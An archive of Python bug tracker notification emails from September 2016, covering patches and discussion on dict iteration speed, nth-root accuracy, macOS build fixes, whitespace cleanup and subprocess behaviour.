Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28179>
_______________________________________

From report at bugs.python.org  Fri Sep 16 17:16:35 2016
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 16 Sep 2016 21:16:35 +0000
Subject: [issue16700] Document that bytes OS API can returns unusable results
 on Windows
In-Reply-To: <1355677117.39.0.191453655217.issue16700@psf.upfronthosting.co.za>
Message-ID: <1474060595.93.0.552939762701.issue16700@psf.upfronthosting.co.za>


Changes by Mark Lawrence <breamoreboy at yahoo.co.uk>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16700>
_______________________________________

From report at bugs.python.org  Fri Sep 16 17:25:48 2016
From: report at bugs.python.org (Tim Mooney)
Date: Fri, 16 Sep 2016 21:25:48 +0000
Subject: [issue16902] Add OSS module support for Solaris
In-Reply-To: <1357720040.2.0.175199652567.issue16902@psf.upfronthosting.co.za>
Message-ID: <1474061148.63.0.449561632882.issue16902@psf.upfronthosting.co.za>


Tim Mooney added the comment:

Sooo....  It's been 3 years.  Brian's patch has bit-rotted a bit, but it's easy to update for recent Python.

What are the hold-ups to getting this applied?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16902>
_______________________________________

From report at bugs.python.org  Fri Sep 16 17:29:51 2016
From: report at bugs.python.org (Ned Deily)
Date: Fri, 16 Sep 2016 21:29:51 +0000
Subject: [issue27806] 2.7 32-bit builds fail on future releases of OS X due to
 dependency on deleted header file
In-Reply-To: <1471643899.93.0.569141042934.issue27806@psf.upfronthosting.co.za>
Message-ID: <1474061390.99.0.960151256715.issue27806@psf.upfronthosting.co.za>


Ned Deily added the comment:

sashk, thanks for the patches!  The general approach LGTM as well.  Unfortunately, we need the fix to work with gcc-4.2 since the Python 2.7 installers are still built and supported on OS X 10.5 and 10.6 and the __has_include preprocessor construct is not available in gcc-4.2.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27806>
_______________________________________

From report at bugs.python.org  Fri Sep 16 17:35:25 2016
From: report at bugs.python.org (Jeremy Sequoia)
Date: Fri, 16 Sep 2016 21:35:25 +0000
Subject: [issue27806] 2.7 32-bit builds fail on future releases of OS X due to
 dependency on deleted header file
In-Reply-To: <1471643899.93.0.569141042934.issue27806@psf.upfronthosting.co.za>
Message-ID: <1474061725.1.0.828716968728.issue27806@psf.upfronthosting.co.za>


Jeremy Sequoia added the comment:

sys/cdefs.h (on new enough darwin) does this for such cases:

#ifndef __has_include
#define __has_include(x) 0
#endif

but of course that isn't present in sys/cdefs.h on older SDKs, so you can just shove that above the check and it should fallback the way you want.

Using gcc-4.2 on Sierra would end up with the wrong result, but that's not a supported configuration.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27806>
_______________________________________

From report at bugs.python.org  Fri Sep 16 17:51:09 2016
From: report at bugs.python.org (Tim Peters)
Date: Fri, 16 Sep 2016 21:51:09 +0000
Subject: [issue27761] Private _nth_root function loses accuracy
In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za>
Message-ID: <1474062669.98.0.223876627108.issue27761@psf.upfronthosting.co.za>


Tim Peters added the comment:

Mark, thanks for the counterexample!  I think I can fairly accuse you of thinking ;-)

I expect the same approach would be zippy for scaling x by 2**e, provided that the scaled value doesn't exceed the dynamic range of the decimal context.  Like so:

def erootn(x, e, n,
          D=decimal.Decimal,
          D2=decimal.Decimal(2),
          pow=c.power,
          sub=c.subtract,
          div=c.divide):
    g = x**(1.0/n) * 2.0**(e/n) # force e to float for Python 2?
    Dg = D(g)
    return g - float(sub(Dg, div(D(x)*D2**e, pow(Dg, n-1)))) / n

The multiple errors in the native-float-precision starting guess shouldn't hurt.  In this case D(x)*D2**e may not exactly equal the scaled input either, but the error(s) are "way at the end" of the extended-precision decimal format.

I don't know the range of `e` you have to worry about.  On my box, decimal.MAX_EMAX == 999999999999999999 ... but the docs say that on a 32-bit box it's "only" 425000000.  If forcing the context Emax to that isn't enough, then your code is still graceful but this other approach would need to get uglier.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27761>
_______________________________________

From report at bugs.python.org  Fri Sep 16 18:10:07 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 16 Sep 2016 22:10:07 +0000
Subject: [issue28183] Clean up and speed up dict iteration
Message-ID: <1474063807.66.0.276436600383.issue28183@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

In some circumstances iterating dict under 3.6 can be 20% slower than under 3.5.

$ ./python -m perf timeit -s "d = dict.fromkeys(range(10**6))" -- "list(d)"

Python 3.5: Median +- std dev: 33.8 ms +- 0.7 ms
Python 3.6: Median +- std dev: 37.8 ms +- 0.5 ms

Seems this is compiler and platform specific, it is reproducible only with GCC on 32 bit.
 
Proposed patch restores 3.5 performance and simplifies the code.

Python 3.6 patched: Median +- std dev: 33.7 ms +- 0.7 ms

Other types of iteration:

$ ./python -m perf timeit -s "d = dict.fromkeys(range(10**6)); v = d.values()" -- "list(v)"
Python 3.5:            Median +- std dev: 26.2 ms +- 0.7 ms
Python 3.6 unpatched:  Median +- std dev: 28.0 ms +- 0.6 ms
Python 3.6 patched:    Median +- std dev: 26.3 ms +- 1.1 ms

$ ./python -m perf timeit -s "d = dict.fromkeys(range(10**6)); v = d.items()" -- "list(v)"
Python 3.5:            Median +- std dev: 232 ms +- 6 ms
Python 3.6 unpatched:  Median +- std dev: 259 ms +- 6 ms
Python 3.6 patched:    Median +- std dev: 243 ms +- 9 ms

_PyDict_Next():
$ ./python -m perf timeit -s "d = dict.fromkeys(range(10**6))" -- "set(d)"
Python 3.5:            Median +- std dev: 68.3 ms +- 1.8 ms
Python 3.6 unpatched:  Median +- std dev: 68.1 ms +- 2.5 ms
Python 3.6 patched:    Median +- std dev: 66.0 ms +- 1.2 ms

PyDict_Next():
$ ./python -m perf timeit -s "from _testcapi import test_dict_iteration as t" -- "t()"
Python 3.5:            Median +- std dev: 3.31 ms +- 0.10 ms
Python 3.6 unpatched:  Median +- std dev: 3.51 ms +- 0.09 ms
Python 3.6 patched:    Median +- std dev: 3.43 ms +- 0.09 ms

----------
components: Interpreter Core
files: dict_iter.patch
keywords: patch
messages: 276755
nosy: haypo, ned.deily, rhettinger, serhiy.storchaka
priority: normal
severity: normal
status: open
title: Clean up and speed up dict iteration
type: performance
versions: Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44697/dict_iter.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28183>
_______________________________________

From report at bugs.python.org  Fri Sep 16 18:11:04 2016
From: report at bugs.python.org (Tim Peters)
Date: Fri, 16 Sep 2016 22:11:04 +0000
Subject: [issue27761] Private _nth_root function loses accuracy
In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za>
Message-ID: <1474063864.42.0.0772494883475.issue27761@psf.upfronthosting.co.za>


Tim Peters added the comment:

Oops!  The `D2**e` in that code should be `pow(D2, e)`, to make it use the correct decimal context.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27761>
_______________________________________

From report at bugs.python.org  Fri Sep 16 18:26:37 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 16 Sep 2016 22:26:37 +0000
Subject: [issue28183] Clean up and speed up dict iteration
In-Reply-To: <1474063807.66.0.276436600383.issue28183@psf.upfronthosting.co.za>
Message-ID: <1474064797.99.0.331463254536.issue28183@psf.upfronthosting.co.za>


Changes by STINNER Victor <victor.stinner at gmail.com>:


----------
nosy: +methane, xiang.zhang

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28183>
_______________________________________

From report at bugs.python.org  Fri Sep 16 18:31:10 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 16 Sep 2016 22:31:10 +0000
Subject: [issue22493] Deprecate the use of flags not at the start of regular
 expression
In-Reply-To: <1411640940.81.0.804351058131.issue22493@psf.upfronthosting.co.za>
Message-ID: <20160916223106.17395.98857.88D17C74@psf.io>


Roundup Robot added the comment:

New changeset c35a528268fd by Serhiy Storchaka in branch '3.6':
Issue #22493: Warning message emitted by using inline flags in the middle of
https://hg.python.org/cpython/rev/c35a528268fd

New changeset 9d0f4da4d531 by Serhiy Storchaka in branch 'default':
Issue #22493: Warning message emitted by using inline flags in the middle of
https://hg.python.org/cpython/rev/9d0f4da4d531

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22493>
_______________________________________

From report at bugs.python.org  Fri Sep 16 18:33:54 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 16 Sep 2016 22:33:54 +0000
Subject: [issue22493] Deprecate the use of flags not at the start of regular
 expression
In-Reply-To: <1411640940.81.0.804351058131.issue22493@psf.upfronthosting.co.za>
Message-ID: <1474065234.27.0.56716129116.issue22493@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Patch LGTM (but I changed tests a little). Thanks Tim!

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22493>
_______________________________________

From report at bugs.python.org  Fri Sep 16 19:46:41 2016
From: report at bugs.python.org (Eryk Sun)
Date: Fri, 16 Sep 2016 23:46:41 +0000
Subject: [issue28168] Use _winapi.WaitForMultipleObjects in Popen.wait()
In-Reply-To: <1473936169.85.0.779071092468.issue28168@psf.upfronthosting.co.za>
Message-ID: <1474069601.53.0.39645259588.issue28168@psf.upfronthosting.co.za>


Changes by Eryk Sun <eryksun+pybugs at gmail.com>:


Removed file: http://bugs.python.org/file44673/issue_28168_01.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28168>
_______________________________________

From report at bugs.python.org  Fri Sep 16 19:46:48 2016
From: report at bugs.python.org (Eryk Sun)
Date: Fri, 16 Sep 2016 23:46:48 +0000
Subject: [issue28168] Use _winapi.WaitForMultipleObjects in Popen.wait()
In-Reply-To: <1473936169.85.0.779071092468.issue28168@psf.upfronthosting.co.za>
Message-ID: <1474069608.84.0.447767628999.issue28168@psf.upfronthosting.co.za>


Changes by Eryk Sun <eryksun+pybugs at gmail.com>:


Removed file: http://bugs.python.org/file44674/issue_28168_02.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28168>
_______________________________________

From report at bugs.python.org  Fri Sep 16 19:47:27 2016
From: report at bugs.python.org (Eryk Sun)
Date: Fri, 16 Sep 2016 23:47:27 +0000
Subject: [issue28168] Use _winapi.WaitForMultipleObjects in Popen.wait()
In-Reply-To: <1473936169.85.0.779071092468.issue28168@psf.upfronthosting.co.za>
Message-ID: <1474069647.6.0.833463476619.issue28168@psf.upfronthosting.co.za>


Changes by Eryk Sun <eryksun+pybugs at gmail.com>:


Added file: http://bugs.python.org/file44698/issue_28168_03.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28168>
_______________________________________

From report at bugs.python.org  Fri Sep 16 20:04:22 2016
From: report at bugs.python.org (sashk)
Date: Sat, 17 Sep 2016 00:04:22 +0000
Subject: [issue27806] 2.7 32-bit builds fail on future releases of OS X due to
 dependency on deleted header file
In-Reply-To: <1471643899.93.0.569141042934.issue27806@psf.upfronthosting.co.za>
Message-ID: <1474070662.88.0.385734542472.issue27806@psf.upfronthosting.co.za>


sashk added the comment:

Ned, please see attached third version of the patch with workaround suggested by Jeremy for older versions of OS X.

----------
Added file: http://bugs.python.org/file44699/issue27806_v3.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27806>
_______________________________________

From report at bugs.python.org  Fri Sep 16 20:13:00 2016
From: report at bugs.python.org (Eryk Sun)
Date: Sat, 17 Sep 2016 00:13:00 +0000
Subject: [issue28168] Use _winapi.WaitForMultipleObjects in Popen.wait()
In-Reply-To: <1473936169.85.0.779071092468.issue28168@psf.upfronthosting.co.za>
Message-ID: <1474071180.45.0.796006491163.issue28168@psf.upfronthosting.co.za>


Eryk Sun added the comment:

Hopefully this is my last change until someone reviews this. I decided to make it an error to pass an empty sequence, which previously would implicitly wait on the SIGINT event. This way simplifies the code and prevents someone from accidentally waiting forever on SIGINT when it's ignored or doesn't raise an exception. There should always be at least 1 other handle in the wait list.

----------
Added file: http://bugs.python.org/file44700/issue_28168_04.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28168>
_______________________________________

From report at bugs.python.org  Fri Sep 16 20:43:55 2016
From: report at bugs.python.org (Francisco Couzo)
Date: Sat, 17 Sep 2016 00:43:55 +0000
Subject: [issue28184] Trailing whitespace in C source code
Message-ID: <1474073035.4.0.752681458334.issue28184@psf.upfronthosting.co.za>


New submission from Francisco Couzo:

As per Terry's recommendations (#28145), I'm going to open a new issue for each case.

----------
files: trailing_whitespace.patch
keywords: patch
messages: 276761
nosy: franciscouzo, josh.r, mark.dickinson, martin.panter, r.david.murray, terry.reedy
priority: normal
severity: normal
status: open
title: Trailing whitespace in C source code
versions: Python 3.7
Added file: http://bugs.python.org/file44701/trailing_whitespace.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28184>
_______________________________________

From report at bugs.python.org  Fri Sep 16 21:39:01 2016
From: report at bugs.python.org (Francisco Couzo)
Date: Sat, 17 Sep 2016 01:39:01 +0000
Subject: [issue28185] Tabs in C source code
Message-ID: <1474076341.84.0.766307725903.issue28185@psf.upfronthosting.co.za>


New submission from Francisco Couzo:

Files I didn't change: Python/dup2.c, Python/strdup.c (Since they are external dependencies)

----------
files: tabs_c.patch
keywords: patch
messages: 276762
nosy: franciscouzo, josh.r, mark.dickinson, martin.panter, r.david.murray, terry.reedy
priority: normal
severity: normal
status: open
title: Tabs in C source code
Added file: http://bugs.python.org/file44702/tabs_c.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28185>
_______________________________________

From report at bugs.python.org  Fri Sep 16 21:46:57 2016
From: report at bugs.python.org (Francisco Couzo)
Date: Sat, 17 Sep 2016 01:46:57 +0000
Subject: [issue28185] Tabs in C source code
In-Reply-To: <1474076341.84.0.766307725903.issue28185@psf.upfronthosting.co.za>
Message-ID: <1474076817.25.0.704075765713.issue28185@psf.upfronthosting.co.za>


Changes by Francisco Couzo <franciscouzo at gmail.com>:


----------
versions: +Python 3.7
Added file: http://bugs.python.org/file44703/tabs_h.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28185>
_______________________________________

From report at bugs.python.org  Fri Sep 16 22:00:19 2016
From: report at bugs.python.org (Francisco Couzo)
Date: Sat, 17 Sep 2016 02:00:19 +0000
Subject: [issue28185] Tabs in C source code
In-Reply-To: <1474076341.84.0.766307725903.issue28185@psf.upfronthosting.co.za>
Message-ID: <1474077619.15.0.803343700427.issue28185@psf.upfronthosting.co.za>


Changes by Francisco Couzo <franciscouzo at gmail.com>:


Removed file: http://bugs.python.org/file44703/tabs_h.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28185>
_______________________________________

From report at bugs.python.org  Fri Sep 16 22:01:48 2016
From: report at bugs.python.org (Francisco Couzo)
Date: Sat, 17 Sep 2016 02:01:48 +0000
Subject: [issue28185] Tabs in C source code
In-Reply-To: <1474076341.84.0.766307725903.issue28185@psf.upfronthosting.co.za>
Message-ID: <1474077708.97.0.677503991547.issue28185@psf.upfronthosting.co.za>


Changes by Francisco Couzo <franciscouzo at gmail.com>:


Added file: http://bugs.python.org/file44704/tabs_h.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28185>
_______________________________________

From report at bugs.python.org  Fri Sep 16 22:27:32 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 17 Sep 2016 02:27:32 +0000
Subject: [issue28185] Tabs in C source code
In-Reply-To: <1474076341.84.0.766307725903.issue28185@psf.upfronthosting.co.za>
Message-ID: <1474079252.98.0.889033957026.issue28185@psf.upfronthosting.co.za>


Changes by STINNER Victor <victor.stinner at gmail.com>:


----------
nosy: +haypo

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28185>
_______________________________________

From report at bugs.python.org  Fri Sep 16 22:36:11 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 17 Sep 2016 02:36:11 +0000
Subject: [issue28168] Use _winapi.WaitForMultipleObjects in Popen.wait()
In-Reply-To: <1473936169.85.0.779071092468.issue28168@psf.upfronthosting.co.za>
Message-ID: <1474079771.71.0.382833180803.issue28168@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Oh nice, you implemented the PEP 475 for _winapi.WaitForMultipleObjects()! I missed this function when implementing this PEP :-)

----------
nosy: +haypo

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28168>
_______________________________________

From report at bugs.python.org  Fri Sep 16 22:37:48 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 17 Sep 2016 02:37:48 +0000
Subject: [issue28168] Use _winapi.WaitForMultipleObjects in Popen.wait()
In-Reply-To: <1473936169.85.0.779071092468.issue28168@psf.upfronthosting.co.za>
Message-ID: <1474079868.97.0.50690555322.issue28168@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> I decided to make it an error to pass an empty sequence

It makes sense since the original WaitForMultipleObjects() also requires at least one object:

https://msdn.microsoft.com/en-us/library/windows/desktop/ms687025(v=vs.85).aspx

nCount [in]

    The number of object handles in the array pointed to by lpHandles. The maximum number of object handles is MAXIMUM_WAIT_OBJECTS. This parameter cannot be zero.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28168>
_______________________________________

From report at bugs.python.org  Fri Sep 16 23:04:39 2016
From: report at bugs.python.org (Mariatta Wijaya)
Date: Sat, 17 Sep 2016 03:04:39 +0000
Subject: [issue26149] Suggest PyCharm Community as an editor for Unix platforms
In-Reply-To: <1453153728.95.0.733172914649.issue26149@psf.upfronthosting.co.za>
Message-ID: <1474081479.65.0.718574304846.issue26149@psf.upfronthosting.co.za>


Mariatta Wijaya added the comment:

Thanks for the feedback :)
As suggested, I removed all other IDEs and just link to the wiki.

----------
Added file: http://bugs.python.org/file44705/docupdate2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26149>
_______________________________________

From report at bugs.python.org  Fri Sep 16 23:07:45 2016
From: report at bugs.python.org (Mariatta Wijaya)
Date: Sat, 17 Sep 2016 03:07:45 +0000
Subject: [issue26149] Suggest PyCharm Community as an editor for Unix platforms
In-Reply-To: <1453153728.95.0.733172914649.issue26149@psf.upfronthosting.co.za>
Message-ID: <1474081665.65.0.623605813452.issue26149@psf.upfronthosting.co.za>


Mariatta Wijaya added the comment:

Hmm.. not sure if I did this correctly. I uploaded another patch file, is this right? Or, how can I edit my original patch?
Thanks.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26149>
_______________________________________

From report at bugs.python.org  Fri Sep 16 23:13:42 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 17 Sep 2016 03:13:42 +0000
Subject: [issue27806] 2.7 32-bit builds fail on future releases of OS X due to
 dependency on deleted header file
In-Reply-To: <1471643899.93.0.569141042934.issue27806@psf.upfronthosting.co.za>
Message-ID: <20160917031339.4492.74865.A953C35B@psf.io>


Roundup Robot added the comment:

New changeset 4030300fcb18 by sashk in branch '2.7':
Issue #27806: Fix 32-bit builds on macOS Sierra 10.12 broken by removal of
https://hg.python.org/cpython/rev/4030300fcb18

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27806>
_______________________________________

From report at bugs.python.org  Fri Sep 16 23:15:17 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Sat, 17 Sep 2016 03:15:17 +0000
Subject: [issue26149] Suggest PyCharm Community as an editor for Unix platforms
In-Reply-To: <1453153728.95.0.733172914649.issue26149@psf.upfronthosting.co.za>
Message-ID: <1474082117.88.0.394934323134.issue26149@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

You did the right thing. Check out the "review" link.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26149>
_______________________________________

From report at bugs.python.org  Fri Sep 16 23:18:15 2016
From: report at bugs.python.org (Ned Deily)
Date: Sat, 17 Sep 2016 03:18:15 +0000
Subject: [issue27806] 2.7 32-bit builds fail on macOS 10.12 Sierra due to
 dependency on deleted header file QuickTime/QuickTime.h
In-Reply-To: <1471643899.93.0.569141042934.issue27806@psf.upfronthosting.co.za>
Message-ID: <1474082295.57.0.407689946246.issue27806@psf.upfronthosting.co.za>


Ned Deily added the comment:

Thanks, Alexander and especially Jeremy, for the reviews and suggestions.  Thanks again sashk for the patches.  Committed for release in 2.7.13.

----------
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed
title: 2.7 32-bit builds fail on future releases of OS X due to dependency on deleted header file -> 2.7 32-bit builds fail on macOS 10.12 Sierra due to dependency on deleted header file QuickTime/QuickTime.h

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27806>
_______________________________________

From report at bugs.python.org  Sat Sep 17 00:23:53 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 17 Sep 2016 04:23:53 +0000
Subject: [issue28185] Tabs in C source code
In-Reply-To: <1474076341.84.0.766307725903.issue28185@psf.upfronthosting.co.za>
Message-ID: <1474086233.02.0.236955049857.issue28185@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
dependencies: +Misleading Indentation in C source code
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28185>
_______________________________________

From report at bugs.python.org  Sat Sep 17 00:43:19 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 17 Sep 2016 04:43:19 +0000
Subject: [issue28145] Fix whitespace in C source code
In-Reply-To: <1473850786.65.0.167663767875.issue28145@psf.upfronthosting.co.za>
Message-ID: <1474087399.55.0.0289618592893.issue28145@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

See also issue15550 and issue8912.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28145>
_______________________________________

From report at bugs.python.org  Sat Sep 17 00:48:20 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 17 Sep 2016 04:48:20 +0000
Subject: [issue28184] Trailing whitespace in C source code
In-Reply-To: <1474073035.4.0.752681458334.issue28184@psf.upfronthosting.co.za>
Message-ID: <1474087700.12.0.483392539551.issue28184@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Modules/expat/expat.h and Modules/expat/expat_external.h are external files. They should left unchanged.

----------
nosy: +ned.deily, serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28184>
_______________________________________

From report at bugs.python.org  Sat Sep 17 00:51:09 2016
From: report at bugs.python.org (Tim Peters)
Date: Sat, 17 Sep 2016 04:51:09 +0000
Subject: [issue27761] Private _nth_root function loses accuracy
In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za>
Message-ID: <1474087869.33.0.602033583686.issue27761@psf.upfronthosting.co.za>


Tim Peters added the comment:

Let me give complete code for the last idea, also forcing the scaling multiplication to use the correct context:

    import decimal
    c = decimal.DefaultContext.copy()
    c.prec = 25
    c.Emax = decimal.MAX_EMAX
    c.Emin = decimal.MIN_EMIN

    def erootn(x, e, n,
              D=decimal.Decimal,
              D2=decimal.Decimal(2),
              pow=c.power,
              sub=c.subtract,
              mul=c.multiply,
              div=c.divide):
        g = x**(1.0/n) * 2.0**(e/n)
        Dg = D(g)
        return g - float(sub(Dg, div(mul(D(x), pow(D2, e)),
                                     pow(Dg, n-1)))) / n

    del decimal, c

Both pow() instances use an integer exponent, so the C implementation of decimal still avoids expensive exp() and ln() computations - it's all just basic - * / under the covers.

On a 32-bit box, the scaled input (x*2**e) must be <= 9.999...999E425000000, which is about 2**1411819443 (an exponent of about 1.4 billion).  On the close-to-0 side, approximately the reciprocals of those giant numbers.

The range is much wider on a 64-bit box (because Emax and Emin have much larger absolute values).

Then, e.g.,

>>> erootn(1, 1411819443, 1411819443)
2.0
>>> erootn(1, -1411819443, 1411819443)
0.5

So it's obviously perfect ;-)  Except that, because it reduces to the previous algorithm when e=0, Mark's counterexample (to correct rounding) still holds:

>>> erootn(1 + 2**-52, 0, 2)
1.0000000000000002

Boosting precision to 28 (from 25) is enough to repair that, but it doesn't bother me (there was never a claim that it was always correctly rounded - but at prec=25 it went through hours & hours of testing randomish inputs and `n` values without finding a less-than-perfect case - but those tests effectively always used e=0 too).

Basic error analysis for Newton's method usually goes like this:  suppose the true root is `t` and the current guess is `g = t*(1+e)` for some small `|e|`.  Then plug `t*(1+e)` into the equation and do a Taylor expansion around e=0.  In this case, dropping terms at or above cubic in `e` leaves that the new guess is about

t*(1 + (n-1)/2 * e**2)

That the relative error goes from `e` to (about) `e**2` (which is typical of Newton's method) is the source of the claim that the number of good bits approximately doubles on each iteration.  In this specific case, it's not quite that good:  the (n-1)/2 factor means convergence becomes slower the larger `n` is.  But `e` in this case is perhaps on the order of 2**-50, and `(n-1)/2` times 2**-100 (e**2) remains tiny for any plausible value of `n`.

Good enough for me ;-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27761>
_______________________________________

From report at bugs.python.org  Sat Sep 17 01:08:53 2016
From: report at bugs.python.org (Francisco Couzo)
Date: Sat, 17 Sep 2016 05:08:53 +0000
Subject: [issue28184] Trailing whitespace in C source code
In-Reply-To: <1474073035.4.0.752681458334.issue28184@psf.upfronthosting.co.za>
Message-ID: <1474088933.9.0.930843457449.issue28184@psf.upfronthosting.co.za>


Changes by Francisco Couzo <franciscouzo at gmail.com>:


Added file: http://bugs.python.org/file44706/trailing_whitespace2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28184>
_______________________________________

From report at bugs.python.org  Sat Sep 17 02:22:27 2016
From: report at bugs.python.org (Xavion)
Date: Sat, 17 Sep 2016 06:22:27 +0000
Subject: [issue28165] The 'subprocess' module leaks roughly 4 KiB of memory
 per call
In-Reply-To: <1473913875.21.0.186726929179.issue28165@psf.upfronthosting.co.za>
Message-ID: <1474093347.65.0.379198073256.issue28165@psf.upfronthosting.co.za>


Changes by Xavion <Xavion.0 at Gmail.com>:


Removed file: http://bugs.python.org/file44672/Output.log

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Sat Sep 17 02:37:25 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 17 Sep 2016 06:37:25 +0000
Subject: [issue27979] Remove bundled libffi
In-Reply-To: <1473188019.08.0.865772494221.issue27979@psf.upfronthosting.co.za>
Message-ID: <20160917063722.13280.77910.4977A006@psf.io>


Roundup Robot added the comment:

New changeset d4981c76a8b9 by Zachary Ware in branch 'default':
Closes #27979: Remove bundled copy of libffi
https://hg.python.org/cpython/rev/d4981c76a8b9

----------
nosy: +python-dev
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27979>
_______________________________________

From report at bugs.python.org  Sat Sep 17 02:58:32 2016
From: report at bugs.python.org (Francisco Couzo)
Date: Sat, 17 Sep 2016 06:58:32 +0000
Subject: [issue28186] Autogenerated tabs / trailing whitespace
Message-ID: <1474095512.0.0.99894670529.issue28186@psf.upfronthosting.co.za>


New submission from Francisco Couzo:

Fix some auto generated whitespace issues (tabs and trailing whitespace)

----------
files: autogenerated_whitespace.patch
keywords: patch
messages: 276774
nosy: franciscouzo
priority: normal
severity: normal
status: open
title: Autogenerated tabs / trailing whitespace
versions: Python 3.7
Added file: http://bugs.python.org/file44707/autogenerated_whitespace.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28186>
_______________________________________

From report at bugs.python.org  Sat Sep 17 03:01:52 2016
From: report at bugs.python.org (Xavion)
Date: Sat, 17 Sep 2016 07:01:52 +0000
Subject: [issue28165] The 'subprocess' module leaks memory when called in
 certain ways
In-Reply-To: <1473913875.21.0.186726929179.issue28165@psf.upfronthosting.co.za>
Message-ID: <1474095712.77.0.409064749439.issue28165@psf.upfronthosting.co.za>


Xavion added the comment:

Okay, I've modified the title to match what I've written below.

I've just run some further tests on this problem.  The attached archive contains code samples and the output generated (both with and without garbage collection).

As you can see, the memory stays constant in the first case.  In the second, the presence of the loop is probably what throws a spanner in the works.  Garbage collection seems to make the outcome slightly worse (in the second case).

The situation isn't as bad as I first reported, but the memory does nonetheless keep increasing in the second case (which it probably shouldn't).

----------
title: The 'subprocess' module leaks roughly 4 KiB of memory per call -> The 'subprocess' module leaks memory when called in certain ways
Added file: http://bugs.python.org/file44708/Memory-Leak-Test.zip

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Sat Sep 17 03:11:23 2016
From: report at bugs.python.org (Francisco Couzo)
Date: Sat, 17 Sep 2016 07:11:23 +0000
Subject: [issue28186] Autogenerated tabs / trailing whitespace
In-Reply-To: <1474095512.0.0.99894670529.issue28186@psf.upfronthosting.co.za>
Message-ID: <1474096283.87.0.551029939903.issue28186@psf.upfronthosting.co.za>


Changes by Francisco Couzo <franciscouzo at gmail.com>:


Added file: http://bugs.python.org/file44709/autogenerated_whitespace2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28186>
_______________________________________

From report at bugs.python.org  Sat Sep 17 03:14:18 2016
From: report at bugs.python.org (Francisco Couzo)
